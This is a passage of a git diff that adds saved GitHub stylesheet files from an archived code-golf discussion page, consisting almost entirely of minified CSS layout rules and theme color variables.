.Layout-sidebar{display:none}.hx_Layout.hx_Layout--sidebar-hidden.Layout--divided{--Layout-gutter: 0}.hx_Layout.hx_Layout--sidebar-hidden.Layout--divided .Layout-divider{height:1px;grid-row:2}.hx_Layout.hx_Layout--sidebar-hidden.Layout--divided .Layout-divider.Layout-divider--flowRow-hidden{display:none}.hx_Layout.hx_Layout--sidebar-hidden.Layout--divided .Layout-divider.Layout-divider--flowRow-shallow{height:8px;margin-right:0;background:var(--color-canvas-inset);border-color:var(--color-border-default);border-style:solid;border-width:1px 0}.hx_Layout.hx_Layout--sidebar-hidden.Layout--divided .Layout-main{grid-row:3/span 1}.hx_Layout.hx_Layout--sidebar-hidden.Layout--divided.Layout--sidebarPosition-flowRow-end .Layout-sidebar{grid-row:3/span 1}.hx_Layout.hx_Layout--sidebar-hidden.Layout--divided.Layout--sidebarPosition-flowRow-end .Layout-main{grid-row:1}.hx_Layout--sidebar{top:60px;box-sizing:border-box;overscroll-behavior:contain}.branch-action-item.color-border-default{border-color:var(--color-border-default) !important}.user-status-container .input-group-button .btn{height:32px}.reponav-item,.pagehead-tabs-item{border-radius:4px 4px 0 0}.reponav-item.selected,.pagehead-tabs-item.selected{border-top-color:#f9826c}.auto-search-group>.octicon{top:8px}.subnav-search>button.mt-2{margin-top:6px !important}.completeness-indicator-success{color:var(--color-fg-on-emphasis);background-color:var(--color-btn-primary-bg)}.pagination-loader-container button.color-bg-default.border-0{border-top-left-radius:6px;border-top-right-radius:6px}.avatar-user{border-radius:50% !important}@media(max-width: 543px){.minimized-comment>details>div{padding-left:0 !important}}@media(max-width: 543px){.minimized-comment>details>summary>div{flex-direction:column}.minimized-comment>details>summary>div .review-comment-contents{align-left:flex-start}}.hx_disabled-input{margin-right:-4px !important;margin-left:-4px !important}.hx_disabled-input sidebar-memex-input[disabled]:not(.no-pointer) *{cursor:pointer}.hx_disabled-input sidebar-memex-input:not([disabled]) .Box-row--hover-gray{background-color:var(--color-canvas-subtle)}.hx_disabled-input .Box-row--hover-gray svg.octicon-pencil{visibility:hidden;opacity:0}.hx_disabled-input .Box-row--hover-gray:hover,.hx_disabled-input .Box-row--hover-gray:focus{padding-top:8px !important;padding-bottom:8px !important}.hx_disabled-input .Box-row--hover-gray:hover svg.octicon-pencil,.hx_disabled-input .Box-row--hover-gray:focus svg.octicon-pencil{visibility:visible;opacity:1}.hx_disabled-input input:not(:disabled){margin-top:8px !important;margin-bottom:8px !important}.hx_disabled-input input[disabled],.hx_disabled-input select[disabled],.hx_disabled-input .form-control[contenteditable=false]{padding-right:0;padding-left:0;margin-right:0;color:var(--color-fg-default) !important;background:transparent;border:0;box-shadow:none;opacity:1}.hx_disabled-input text-expander input[type=text][disabled]{display:none}.hx_disabled-input text-expander input[type=text][disabled]+div.form-control{display:block}.hx_disabled-input text-expander input[type=text]+div.form-control{display:none}.hx_disabled-input input[type=date][disabled]{display:none}.hx_disabled-input input[type=date][disabled]+div.form-control{display:block}.hx_disabled-input input[type=date]+div.form-control{display:none}.hx_disabled-input input[disabled]::placeholder,.hx_disabled-input selected[disabled]::placeholder{color:var(--color-fg-default) !important}.hx_disabled-input .form-select{background-image:none !important}.hx_disabled-input .Box-row--focus-gray:focus{background:var(--color-canvas-subtle)}.summary-iteration .inline-status{display:none}.summary-iteration .block-status{display:inline-block}.list-iteration .inline-status{display:inline}.list-iteration .block-status{display:none}.hx_tabnav-in-dropdown{border-radius:5px 5px 0 0}.hx_tabnav-in-dropdown .tabnav-tabs .hx_tabnav-in-dropdown-wrapper:first-child .tabnav-tab.selected,.hx_tabnav-in-dropdown .tabnav-tabs .hx_tabnav-in-dropdown-wrapper:first-child .tabnav-tab[aria-selected=true],.hx_tabnav-in-dropdown .tabnav-tabs .hx_tabnav-in-dropdown-wrapper:first-child .tabnav-tab[aria-current]:not([aria-current=false]){border-left:0}.hx_tabnav-in-dropdown .tabnav-tabs .hx_tabnav-in-dropdown-wrapper:last-child .tabnav-tab.selected,.hx_tabnav-in-dropdown .tabnav-tabs .hx_tabnav-in-dropdown-wrapper:last-child .tabnav-tab[aria-selected=true],.hx_tabnav-in-dropdown .tabnav-tabs .hx_tabnav-in-dropdown-wrapper:last-child .tabnav-tab[aria-current]:not([aria-current=false]){border-right:0}.hx_tabnav-in-dropdown .tabnav-tab.selected,.hx_tabnav-in-dropdown .tabnav-tab[aria-selected=true],.hx_tabnav-in-dropdown .tabnav-tab[aria-current]:not([aria-current=false]){margin-top:-1px;background-color:var(--color-canvas-overlay)}.hx_tabnav-in-dropdown #cloud-tab[aria-selected=false]::after{position:absolute;top:-14px;right:10px;left:auto;z-index:10;display:inline-block;content:"";border:7px solid transparent;border-bottom:7px solid var(--color-canvas-subtle)}.details-overlay-dark[open]>summary::before{z-index:111 !important}.turbo-progress-bar{z-index:2147483647}.timeline-comment .previewable-comment-form textarea{max-height:none} + +/*# sourceMappingURL=global-0d69ca7f0327.css.map*/ \ No newline at end of file diff --git a/archive/Problem 4 Shutdown! · Discussion #4 · Ta180m_Idiot-Code-Golf_files/light-92c7d381038e.css b/archive/Problem 4 Shutdown! · Discussion #4 · Ta180m_Idiot-Code-Golf_files/light-92c7d381038e.css new file mode 100644 index 0000000..044e8a7 --- /dev/null +++ b/archive/Problem 4 Shutdown! · Discussion #4 · Ta180m_Idiot-Code-Golf_files/light-92c7d381038e.css @@ -0,0 +1,3 @@ +:root,[data-color-mode=light][data-light-theme=light],[data-color-mode=dark][data-dark-theme=light]{/*! */}:root,[data-color-mode=light][data-light-theme=light],[data-color-mode=dark][data-dark-theme=light]{--color-canvas-default-transparent: rgba(255,255,255,0);--color-page-header-bg: #f6f8fa;--color-marketing-icon-primary: #218bff;--color-marketing-icon-secondary: #54aeff;--color-diff-blob-addition-num-text: #24292f;--color-diff-blob-addition-fg: #24292f;--color-diff-blob-addition-num-bg: #CCFFD8;--color-diff-blob-addition-line-bg: #E6FFEC;--color-diff-blob-addition-word-bg: #ABF2BC;--color-diff-blob-deletion-num-text: #24292f;--color-diff-blob-deletion-fg: #24292f;--color-diff-blob-deletion-num-bg: #FFD7D5;--color-diff-blob-deletion-line-bg: #FFEBE9;--color-diff-blob-deletion-word-bg: rgba(255,129,130,0.4);--color-diff-blob-hunk-num-bg: rgba(84,174,255,0.4);--color-diff-blob-expander-icon: #57606a;--color-diff-blob-selected-line-highlight-mix-blend-mode: multiply;--color-diffstat-deletion-border: rgba(27,31,36,0.15);--color-diffstat-addition-border: rgba(27,31,36,0.15);--color-diffstat-addition-bg: #2da44e;--color-search-keyword-hl: #fff8c5;--color-prettylights-syntax-comment: #6e7781;--color-prettylights-syntax-constant: #0550ae;--color-prettylights-syntax-entity: #8250df;--color-prettylights-syntax-storage-modifier-import: #24292f;--color-prettylights-syntax-entity-tag: #116329;--color-prettylights-syntax-keyword: #cf222e;--color-prettylights-syntax-string: #0a3069;--color-prettylights-syntax-variable: #953800;--color-prettylights-syntax-brackethighlighter-unmatched: #82071e;--color-prettylights-syntax-invalid-illegal-text: #f6f8fa;--color-prettylights-syntax-invalid-illegal-bg: #82071e;--color-prettylights-syntax-carriage-return-text: #f6f8fa;--color-prettylights-syntax-carriage-return-bg: #cf222e;--color-prettylights-syntax-string-regexp: #116329;--color-prettylights-syntax-markup-list: #3b2300;--color-prettylights-syntax-markup-heading: #0550ae;--color-prettylights-syntax-markup-italic: #24292f;--color-prettylights-syntax-markup-bold: #24292f;--color-prettylights-syntax-markup-deleted-text: #82071e;--color-prettylights-syntax-markup-deleted-bg: #FFEBE9;--color-prettylights-syntax-markup-inserted-text: #116329;--color-prettylights-syntax-markup-inserted-bg: #dafbe1;--color-prettylights-syntax-markup-changed-text: #953800;--color-prettylights-syntax-markup-changed-bg: #ffd8b5;--color-prettylights-syntax-markup-ignored-text: #eaeef2;--color-prettylights-syntax-markup-ignored-bg: #0550ae;--color-prettylights-syntax-meta-diff-range: #8250df;--color-prettylights-syntax-brackethighlighter-angle: #57606a;--color-prettylights-syntax-sublimelinter-gutter-mark: #8c959f;--color-prettylights-syntax-constant-other-reference-link: #0a3069;--color-codemirror-text: #24292f;--color-codemirror-bg: #ffffff;--color-codemirror-gutters-bg: #ffffff;--color-codemirror-guttermarker-text: #ffffff;--color-codemirror-guttermarker-subtle-text: #6e7781;--color-codemirror-linenumber-text: #57606a;--color-codemirror-cursor: #24292f;--color-codemirror-selection-bg: rgba(84,174,255,0.4);--color-codemirror-activeline-bg: rgba(234,238,242,0.5);--color-codemirror-matchingbracket-text: #24292f;--color-codemirror-lines-bg: #ffffff;--color-codemirror-syntax-comment: #24292f;--color-codemirror-syntax-constant: #0550ae;--color-codemirror-syntax-entity: #8250df;--color-codemirror-syntax-keyword: #cf222e;--color-codemirror-syntax-storage: #cf222e;--color-codemirror-syntax-string: #0a3069;--color-codemirror-syntax-support: #0550ae;--color-codemirror-syntax-variable: #953800;--color-checks-bg: #24292f;--color-checks-run-border-width: 0px;--color-checks-container-border-width: 0px;--color-checks-text-primary: #f6f8fa;--color-checks-text-secondary: #8c959f;--color-checks-text-link: #54aeff;--color-checks-btn-icon: #afb8c1;--color-checks-btn-hover-icon: #f6f8fa;--color-checks-btn-hover-bg: rgba(255,255,255,0.125);--color-checks-input-text: #eaeef2;--color-checks-input-placeholder-text: #8c959f;--color-checks-input-focus-text: #8c959f;--color-checks-input-bg: #32383f;--color-checks-input-shadow: none;--color-checks-donut-error: #fa4549;--color-checks-donut-pending: #bf8700;--color-checks-donut-success: #2da44e;--color-checks-donut-neutral: #afb8c1;--color-checks-dropdown-text: #afb8c1;--color-checks-dropdown-bg: #32383f;--color-checks-dropdown-border: #424a53;--color-checks-dropdown-shadow: rgba(27,31,36,0.3);--color-checks-dropdown-hover-text: #f6f8fa;--color-checks-dropdown-hover-bg: #424a53;--color-checks-dropdown-btn-hover-text: #f6f8fa;--color-checks-dropdown-btn-hover-bg: #32383f;--color-checks-scrollbar-thumb-bg: #57606a;--color-checks-header-label-text: #d0d7de;--color-checks-header-label-open-text: #f6f8fa;--color-checks-header-border: #32383f;--color-checks-header-icon: #8c959f;--color-checks-line-text: #d0d7de;--color-checks-line-num-text: rgba(140,149,159,0.75);--color-checks-line-timestamp-text: #8c959f;--color-checks-line-hover-bg: #32383f;--color-checks-line-selected-bg: rgba(33,139,255,0.15);--color-checks-line-selected-num-text: #54aeff;--color-checks-line-dt-fm-text: #24292f;--color-checks-line-dt-fm-bg: #9a6700;--color-checks-gate-bg: rgba(125,78,0,0.15);--color-checks-gate-text: #d0d7de;--color-checks-gate-waiting-text: #d4a72c;--color-checks-step-header-open-bg: #32383f;--color-checks-step-error-text: #ff8182;--color-checks-step-warning-text: #d4a72c;--color-checks-logline-text: #8c959f;--color-checks-logline-num-text: rgba(140,149,159,0.75);--color-checks-logline-debug-text: #c297ff;--color-checks-logline-error-text: #d0d7de;--color-checks-logline-error-num-text: #ff8182;--color-checks-logline-error-bg: rgba(164,14,38,0.15);--color-checks-logline-warning-text: #d0d7de;--color-checks-logline-warning-num-text: #d4a72c;--color-checks-logline-warning-bg: rgba(125,78,0,0.15);--color-checks-logline-command-text: #54aeff;--color-checks-logline-section-text: #4ac26b;--color-checks-ansi-black: #24292f;--color-checks-ansi-black-bright: #32383f;--color-checks-ansi-white: #d0d7de;--color-checks-ansi-white-bright: #d0d7de;--color-checks-ansi-gray: #8c959f;--color-checks-ansi-red: #ff8182;--color-checks-ansi-red-bright: #ffaba8;--color-checks-ansi-green: #4ac26b;--color-checks-ansi-green-bright: #6fdd8b;--color-checks-ansi-yellow: #d4a72c;--color-checks-ansi-yellow-bright: #eac54f;--color-checks-ansi-blue: #54aeff;--color-checks-ansi-blue-bright: #80ccff;--color-checks-ansi-magenta: #c297ff;--color-checks-ansi-magenta-bright: #d8b9ff;--color-checks-ansi-cyan: #76e3ea;--color-checks-ansi-cyan-bright: #b3f0ff;--color-project-header-bg: #24292f;--color-project-sidebar-bg: #ffffff;--color-project-gradient-in: #ffffff;--color-project-gradient-out: rgba(255,255,255,0);--color-mktg-btn-bg: #1b1f23;--color-mktg-btn-shadow-outline: rgb(0 0 0 / 15%) 0 0 0 1px inset;--color-mktg-btn-shadow-focus: rgb(0 0 0 / 15%) 0 0 0 4px;--color-mktg-btn-shadow-hover: 0 3px 2px rgba(0, 0, 0, 0.07), 0 7px 5px rgba(0, 0, 0, 0.04), 0 12px 10px rgba(0, 0, 0, 0.03), 0 22px 18px rgba(0, 0, 0, 0.03), 0 42px 33px rgba(0, 0, 0, 0.02), 0 100px 80px rgba(0, 0, 0, 0.02);--color-mktg-btn-shadow-hover-muted: rgb(0 0 0 / 70%) 0 0 0 2px inset;--color-avatar-bg: #ffffff;--color-avatar-border: rgba(27,31,36,0.15);--color-avatar-stack-fade: #afb8c1;--color-avatar-stack-fade-more: #d0d7de;--color-avatar-child-shadow: -2px -2px 0 rgba(255,255,255,0.8);--color-topic-tag-border: rgba(0,0,0,0);--color-counter-border: rgba(0,0,0,0);--color-select-menu-backdrop-border: rgba(0,0,0,0);--color-select-menu-tap-highlight: rgba(175,184,193,0.5);--color-select-menu-tap-focus-bg: #b6e3ff;--color-overlay-shadow: 0 1px 3px rgba(27,31,36,0.12), 0 8px 24px rgba(66,74,83,0.12);--color-header-text: rgba(255,255,255,0.7);--color-header-bg: #24292f;--color-header-divider: #57606a;--color-header-logo: #ffffff;--color-header-search-bg: #24292f;--color-header-search-border: #57606a;--color-sidenav-selected-bg: #ffffff;--color-menu-bg-active: rgba(0,0,0,0);--color-input-disabled-bg: rgba(175,184,193,0.2);--color-timeline-badge-bg: #eaeef2;--color-ansi-black: #24292f;--color-ansi-black-bright: #57606a;--color-ansi-white: #6e7781;--color-ansi-white-bright: #8c959f;--color-ansi-gray: #6e7781;--color-ansi-red: #cf222e;--color-ansi-red-bright: #a40e26;--color-ansi-green: #116329;--color-ansi-green-bright: #1a7f37;--color-ansi-yellow: #4d2d00;--color-ansi-yellow-bright: #633c01;--color-ansi-blue: #0969da;--color-ansi-blue-bright: #218bff;--color-ansi-magenta: #8250df;--color-ansi-magenta-bright: #a475f9;--color-ansi-cyan: #1b7c83;--color-ansi-cyan-bright: #3192aa;--color-btn-text: #24292f;--color-btn-bg: #f6f8fa;--color-btn-border: rgba(27,31,36,0.15);--color-btn-shadow: 0 1px 0 rgba(27,31,36,0.04);--color-btn-inset-shadow: inset 0 1px 0 rgba(255,255,255,0.25);--color-btn-hover-bg: #f3f4f6;--color-btn-hover-border: rgba(27,31,36,0.15);--color-btn-active-bg: hsla(220,14%,93%,1);--color-btn-active-border: rgba(27,31,36,0.15);--color-btn-selected-bg: hsla(220,14%,94%,1);--color-btn-focus-bg: #f6f8fa;--color-btn-focus-border: rgba(27,31,36,0.15);--color-btn-focus-shadow: 0 0 0 3px rgba(9,105,218,0.3);--color-btn-shadow-active: inset 0 0.15em 0.3em rgba(27,31,36,0.15);--color-btn-shadow-input-focus: 0 0 0 0.2em rgba(9,105,218,0.3);--color-btn-counter-bg: rgba(27,31,36,0.08);--color-btn-primary-text: #ffffff;--color-btn-primary-bg: #2da44e;--color-btn-primary-border: rgba(27,31,36,0.15);--color-btn-primary-shadow: 0 1px 0 rgba(27,31,36,0.1);--color-btn-primary-inset-shadow: inset 0 1px 0 rgba(255,255,255,0.03);--color-btn-primary-hover-bg: #2c974b;--color-btn-primary-hover-border: rgba(27,31,36,0.15);--color-btn-primary-selected-bg: hsla(137,55%,36%,1);--color-btn-primary-selected-shadow: inset 0 1px 0 rgba(0,45,17,0.2);--color-btn-primary-disabled-text: rgba(255,255,255,0.8);--color-btn-primary-disabled-bg: #94d3a2;--color-btn-primary-disabled-border: rgba(27,31,36,0.15);--color-btn-primary-focus-bg: #2da44e;--color-btn-primary-focus-border: rgba(27,31,36,0.15);--color-btn-primary-focus-shadow: 0 0 0 3px rgba(45,164,78,0.4);--color-btn-primary-icon: rgba(255,255,255,0.8);--color-btn-primary-counter-bg: rgba(255,255,255,0.2);--color-btn-outline-text: #0969da;--color-btn-outline-hover-text: #ffffff;--color-btn-outline-hover-bg: #0969da;--color-btn-outline-hover-border: rgba(27,31,36,0.15);--color-btn-outline-hover-shadow: 0 1px 0 rgba(27,31,36,0.1);--color-btn-outline-hover-inset-shadow: inset 0 1px 0 rgba(255,255,255,0.03);--color-btn-outline-hover-counter-bg: rgba(255,255,255,0.2);--color-btn-outline-selected-text: #ffffff;--color-btn-outline-selected-bg: hsla(212,92%,42%,1);--color-btn-outline-selected-border: rgba(27,31,36,0.15);--color-btn-outline-selected-shadow: inset 0 1px 0 rgba(0,33,85,0.2);--color-btn-outline-disabled-text: rgba(9,105,218,0.5);--color-btn-outline-disabled-bg: #f6f8fa;--color-btn-outline-disabled-counter-bg: rgba(9,105,218,0.05);--color-btn-outline-focus-border: rgba(27,31,36,0.15);--color-btn-outline-focus-shadow: 0 0 0 3px rgba(5,80,174,0.4);--color-btn-outline-counter-bg: rgba(9,105,218,0.1);--color-btn-danger-text: #cf222e;--color-btn-danger-hover-text: #ffffff;--color-btn-danger-hover-bg: #a40e26;--color-btn-danger-hover-border: rgba(27,31,36,0.15);--color-btn-danger-hover-shadow: 0 1px 0 rgba(27,31,36,0.1);--color-btn-danger-hover-inset-shadow: inset 0 1px 0 rgba(255,255,255,0.03);--color-btn-danger-hover-counter-bg: rgba(255,255,255,0.2);--color-btn-danger-selected-text: #ffffff;--color-btn-danger-selected-bg: hsla(356,72%,44%,1);--color-btn-danger-selected-border: rgba(27,31,36,0.15);--color-btn-danger-selected-shadow: inset 0 1px 0 rgba(76,0,20,0.2);--color-btn-danger-disabled-text: rgba(207,34,46,0.5);--color-btn-danger-disabled-bg: #f6f8fa;--color-btn-danger-disabled-counter-bg: rgba(207,34,46,0.05);--color-btn-danger-focus-border: rgba(27,31,36,0.15);--color-btn-danger-focus-shadow: 0 0 0 3px rgba(164,14,38,0.4);--color-btn-danger-counter-bg: rgba(207,34,46,0.1);--color-btn-danger-icon: #cf222e;--color-btn-danger-hover-icon: #ffffff;--color-underlinenav-icon: #6e7781;--color-underlinenav-border-hover: rgba(175,184,193,0.2);--color-action-list-item-inline-divider: rgba(208,215,222,0.48);--color-action-list-item-default-hover-bg: rgba(208,215,222,0.32);--color-action-list-item-default-hover-border: rgba(0,0,0,0);--color-action-list-item-default-active-bg: rgba(208,215,222,0.48);--color-action-list-item-default-active-border: rgba(0,0,0,0);--color-action-list-item-default-selected-bg: rgba(208,215,222,0.24);--color-action-list-item-danger-hover-bg: rgba(255,235,233,0.64);--color-action-list-item-danger-active-bg: #FFEBE9;--color-action-list-item-danger-hover-text: #cf222e;--color-switch-track-bg: #eaeef2;--color-switch-track-border: #afb8c1;--color-switch-track-checked-bg: #ddf4ff;--color-switch-track-checked-hover-bg: #b6e3ff;--color-switch-track-checked-active-bg: #80ccff;--color-switch-track-checked-border: #54aeff;--color-switch-knob-checked-bg: #0969da;--color-switch-knob-checked-disabled-bg: #6e7781;--color-fg-default: #24292f;--color-fg-muted: #57606a;--color-fg-subtle: #6e7781;--color-fg-on-emphasis: #ffffff;--color-canvas-default: #ffffff;--color-canvas-overlay: #ffffff;--color-canvas-inset: #f6f8fa;--color-canvas-subtle: #f6f8fa;--color-border-default: #d0d7de;--color-border-muted: hsla(210,18%,87%,1);--color-border-subtle: rgba(27,31,36,0.15);--color-shadow-small: 0 1px 0 rgba(27,31,36,0.04);--color-shadow-medium: 0 3px 6px rgba(140,149,159,0.15);--color-shadow-large: 0 8px 24px rgba(140,149,159,0.2);--color-shadow-extra-large: 0 12px 28px rgba(140,149,159,0.3);--color-neutral-emphasis-plus: #24292f;--color-neutral-emphasis: #6e7781;--color-neutral-muted: rgba(175,184,193,0.2);--color-neutral-subtle: rgba(234,238,242,0.5);--color-accent-fg: #0969da;--color-accent-emphasis: #0969da;--color-accent-muted: rgba(84,174,255,0.4);--color-accent-subtle: #ddf4ff;--color-success-fg: #1a7f37;--color-success-emphasis: #2da44e;--color-success-muted: rgba(74,194,107,0.4);--color-success-subtle: #dafbe1;--color-attention-fg: #9a6700;--color-attention-emphasis: #bf8700;--color-attention-muted: rgba(212,167,44,0.4);--color-attention-subtle: #fff8c5;--color-severe-fg: #bc4c00;--color-severe-emphasis: #bc4c00;--color-severe-muted: rgba(251,143,68,0.4);--color-severe-subtle: #fff1e5;--color-danger-fg: #cf222e;--color-danger-emphasis: #cf222e;--color-danger-muted: rgba(255,129,130,0.4);--color-danger-subtle: #FFEBE9;--color-open-fg: #1a7f37;--color-open-emphasis: #2da44e;--color-open-muted: rgba(74,194,107,0.4);--color-open-subtle: #dafbe1;--color-closed-fg: #cf222e;--color-closed-emphasis: #cf222e;--color-closed-muted: rgba(255,129,130,0.4);--color-closed-subtle: #FFEBE9;--color-done-fg: #8250df;--color-done-emphasis: #8250df;--color-done-muted: rgba(194,151,255,0.4);--color-done-subtle: #fbefff;--color-sponsors-fg: #bf3989;--color-sponsors-emphasis: #bf3989;--color-sponsors-muted: rgba(255,128,200,0.4);--color-sponsors-subtle: #ffeff7;--color-primer-fg-disabled: #8c959f;--color-primer-canvas-backdrop: rgba(27,31,36,0.5);--color-primer-canvas-sticky: rgba(255,255,255,0.95);--color-primer-border-active: #FD8C73;--color-primer-border-contrast: rgba(27,31,36,0.1);--color-primer-shadow-highlight: inset 0 1px 0 rgba(255,255,255,0.25);--color-primer-shadow-inset: inset 0 1px 0 rgba(208,215,222,0.2);--color-primer-shadow-focus: 0 0 0 3px rgba(9,105,218,0.3);--color-scale-black: #1b1f24;--color-scale-white: #ffffff;--color-scale-gray-0: #f6f8fa;--color-scale-gray-1: #eaeef2;--color-scale-gray-2: #d0d7de;--color-scale-gray-3: #afb8c1;--color-scale-gray-4: #8c959f;--color-scale-gray-5: #6e7781;--color-scale-gray-6: #57606a;--color-scale-gray-7: #424a53;--color-scale-gray-8: #32383f;--color-scale-gray-9: #24292f;--color-scale-blue-0: #ddf4ff;--color-scale-blue-1: #b6e3ff;--color-scale-blue-2: #80ccff;--color-scale-blue-3: #54aeff;--color-scale-blue-4: #218bff;--color-scale-blue-5: #0969da;--color-scale-blue-6: #0550ae;--color-scale-blue-7: #033d8b;--color-scale-blue-8: #0a3069;--color-scale-blue-9: #002155;--color-scale-green-0: #dafbe1;--color-scale-green-1: #aceebb;--color-scale-green-2: #6fdd8b;--color-scale-green-3: #4ac26b;--color-scale-green-4: #2da44e;--color-scale-green-5: #1a7f37;--color-scale-green-6: #116329;--color-scale-green-7: #044f1e;--color-scale-green-8: #003d16;--color-scale-green-9: #002d11;--color-scale-yellow-0: #fff8c5;--color-scale-yellow-1: #fae17d;--color-scale-yellow-2: #eac54f;--color-scale-yellow-3: #d4a72c;--color-scale-yellow-4: #bf8700;--color-scale-yellow-5: #9a6700;--color-scale-yellow-6: #7d4e00;--color-scale-yellow-7: #633c01;--color-scale-yellow-8: #4d2d00;--color-scale-yellow-9: #3b2300;--color-scale-orange-0: #fff1e5;--color-scale-orange-1: #ffd8b5;--color-scale-orange-2: #ffb77c;--color-scale-orange-3: #fb8f44;--color-scale-orange-4: #e16f24;--color-scale-orange-5: #bc4c00;--color-scale-orange-6: #953800;--color-scale-orange-7: #762c00;--color-scale-orange-8: #5c2200;--color-scale-orange-9: #471700;--color-scale-red-0: #FFEBE9;--color-scale-red-1: #ffcecb;--color-scale-red-2: #ffaba8;--color-scale-red-3: #ff8182;--color-scale-red-4: #fa4549;--color-scale-red-5: #cf222e;--color-scale-red-6: #a40e26;--color-scale-red-7: #82071e;--color-scale-red-8: #660018;--color-scale-red-9: #4c0014;--color-scale-purple-0: #fbefff;--color-scale-purple-1: #ecd8ff;--color-scale-purple-2: #d8b9ff;--color-scale-purple-3: #c297ff;--color-scale-purple-4: #a475f9;--color-scale-purple-5: #8250df;--color-scale-purple-6: #6639ba;--color-scale-purple-7: #512a97;--color-scale-purple-8: #3e1f79;--color-scale-purple-9: #2e1461;--color-scale-pink-0: #ffeff7;--color-scale-pink-1: #ffd3eb;--color-scale-pink-2: #ffadda;--color-scale-pink-3: #ff80c8;--color-scale-pink-4: #e85aad;--color-scale-pink-5: #bf3989;--color-scale-pink-6: #99286e;--color-scale-pink-7: #772057;--color-scale-pink-8: #611347;--color-scale-pink-9: #4d0336;--color-scale-coral-0: #FFF0EB;--color-scale-coral-1: #FFD6CC;--color-scale-coral-2: #FFB4A1;--color-scale-coral-3: #FD8C73;--color-scale-coral-4: #EC6547;--color-scale-coral-5: #C4432B;--color-scale-coral-6: #9E2F1C;--color-scale-coral-7: #801F0F;--color-scale-coral-8: #691105;--color-scale-coral-9: #510901}@media(prefers-color-scheme: light){[data-color-mode=auto][data-light-theme=light]{--color-canvas-default-transparent: rgba(255,255,255,0);--color-page-header-bg: #f6f8fa;--color-marketing-icon-primary: #218bff;--color-marketing-icon-secondary: #54aeff;--color-diff-blob-addition-num-text: #24292f;--color-diff-blob-addition-fg: #24292f;--color-diff-blob-addition-num-bg: #CCFFD8;--color-diff-blob-addition-line-bg: #E6FFEC;--color-diff-blob-addition-word-bg: #ABF2BC;--color-diff-blob-deletion-num-text: #24292f;--color-diff-blob-deletion-fg: #24292f;--color-diff-blob-deletion-num-bg: #FFD7D5;--color-diff-blob-deletion-line-bg: #FFEBE9;--color-diff-blob-deletion-word-bg: rgba(255,129,130,0.4);--color-diff-blob-hunk-num-bg: rgba(84,174,255,0.4);--color-diff-blob-expander-icon: #57606a;--color-diff-blob-selected-line-highlight-mix-blend-mode: multiply;--color-diffstat-deletion-border: rgba(27,31,36,0.15);--color-diffstat-addition-border: rgba(27,31,36,0.15);--color-diffstat-addition-bg: #2da44e;--color-search-keyword-hl: #fff8c5;--color-prettylights-syntax-comment: #6e7781;--color-prettylights-syntax-constant: #0550ae;--color-prettylights-syntax-entity: #8250df;--color-prettylights-syntax-storage-modifier-import: #24292f;--color-prettylights-syntax-entity-tag: #116329;--color-prettylights-syntax-keyword: #cf222e;--color-prettylights-syntax-string: #0a3069;--color-prettylights-syntax-variable: #953800;--color-prettylights-syntax-brackethighlighter-unmatched: #82071e;--color-prettylights-syntax-invalid-illegal-text: #f6f8fa;--color-prettylights-syntax-invalid-illegal-bg: #82071e;--color-prettylights-syntax-carriage-return-text: #f6f8fa;--color-prettylights-syntax-carriage-return-bg: #cf222e;--color-prettylights-syntax-string-regexp: #116329;--color-prettylights-syntax-markup-list: #3b2300;--color-prettylights-syntax-markup-heading: #0550ae;--color-prettylights-syntax-markup-italic: #24292f;--color-prettylights-syntax-markup-bold: #24292f;--color-prettylights-syntax-markup-deleted-text: #82071e;--color-prettylights-syntax-markup-deleted-bg: #FFEBE9;--color-prettylights-syntax-markup-inserted-text: #116329;--color-prettylights-syntax-markup-inserted-bg: #dafbe1;--color-prettylights-syntax-markup-changed-text: #953800;--color-prettylights-syntax-markup-changed-bg: #ffd8b5;--color-prettylights-syntax-markup-ignored-text: #eaeef2;--color-prettylights-syntax-markup-ignored-bg: #0550ae;--color-prettylights-syntax-meta-diff-range: #8250df;--color-prettylights-syntax-brackethighlighter-angle: #57606a;--color-prettylights-syntax-sublimelinter-gutter-mark: #8c959f;--color-prettylights-syntax-constant-other-reference-link: #0a3069;--color-codemirror-text: #24292f;--color-codemirror-bg: #ffffff;--color-codemirror-gutters-bg: #ffffff;--color-codemirror-guttermarker-text: #ffffff;--color-codemirror-guttermarker-subtle-text: #6e7781;--color-codemirror-linenumber-text: #57606a;--color-codemirror-cursor: #24292f;--color-codemirror-selection-bg: rgba(84,174,255,0.4);--color-codemirror-activeline-bg: rgba(234,238,242,0.5);--color-codemirror-matchingbracket-text: #24292f;--color-codemirror-lines-bg: #ffffff;--color-codemirror-syntax-comment: #24292f;--color-codemirror-syntax-constant: #0550ae;--color-codemirror-syntax-entity: #8250df;--color-codemirror-syntax-keyword: #cf222e;--color-codemirror-syntax-storage: #cf222e;--color-codemirror-syntax-string: #0a3069;--color-codemirror-syntax-support: #0550ae;--color-codemirror-syntax-variable: #953800;--color-checks-bg: #24292f;--color-checks-run-border-width: 0px;--color-checks-container-border-width: 0px;--color-checks-text-primary: #f6f8fa;--color-checks-text-secondary: #8c959f;--color-checks-text-link: #54aeff;--color-checks-btn-icon: #afb8c1;--color-checks-btn-hover-icon: #f6f8fa;--color-checks-btn-hover-bg: rgba(255,255,255,0.125);--color-checks-input-text: #eaeef2;--color-checks-input-placeholder-text: #8c959f;--color-checks-input-focus-text: #8c959f;--color-checks-input-bg: #32383f;--color-checks-input-shadow: none;--color-checks-donut-error: #fa4549;--color-checks-donut-pending: #bf8700;--color-checks-donut-success: #2da44e;--color-checks-donut-neutral: #afb8c1;--color-checks-dropdown-text: #afb8c1;--color-checks-dropdown-bg: #32383f;--color-checks-dropdown-border: #424a53;--color-checks-dropdown-shadow: rgba(27,31,36,0.3);--color-checks-dropdown-hover-text: #f6f8fa;--color-checks-dropdown-hover-bg: #424a53;--color-checks-dropdown-btn-hover-text: #f6f8fa;--color-checks-dropdown-btn-hover-bg: #32383f;--color-checks-scrollbar-thumb-bg: #57606a;--color-checks-header-label-text: #d0d7de;--color-checks-header-label-open-text: #f6f8fa;--color-checks-header-border: #32383f;--color-checks-header-icon: #8c959f;--color-checks-line-text: #d0d7de;--color-checks-line-num-text: rgba(140,149,159,0.75);--color-checks-line-timestamp-text: #8c959f;--color-checks-line-hover-bg: #32383f;--color-checks-line-selected-bg: rgba(33,139,255,0.15);--color-checks-line-selected-num-text: #54aeff;--color-checks-line-dt-fm-text: #24292f;--color-checks-line-dt-fm-bg: #9a6700;--color-checks-gate-bg: rgba(125,78,0,0.15);--color-checks-gate-text: #d0d7de;--color-checks-gate-waiting-text: #d4a72c;--color-checks-step-header-open-bg: #32383f;--color-checks-step-error-text: #ff8182;--color-checks-step-warning-text: 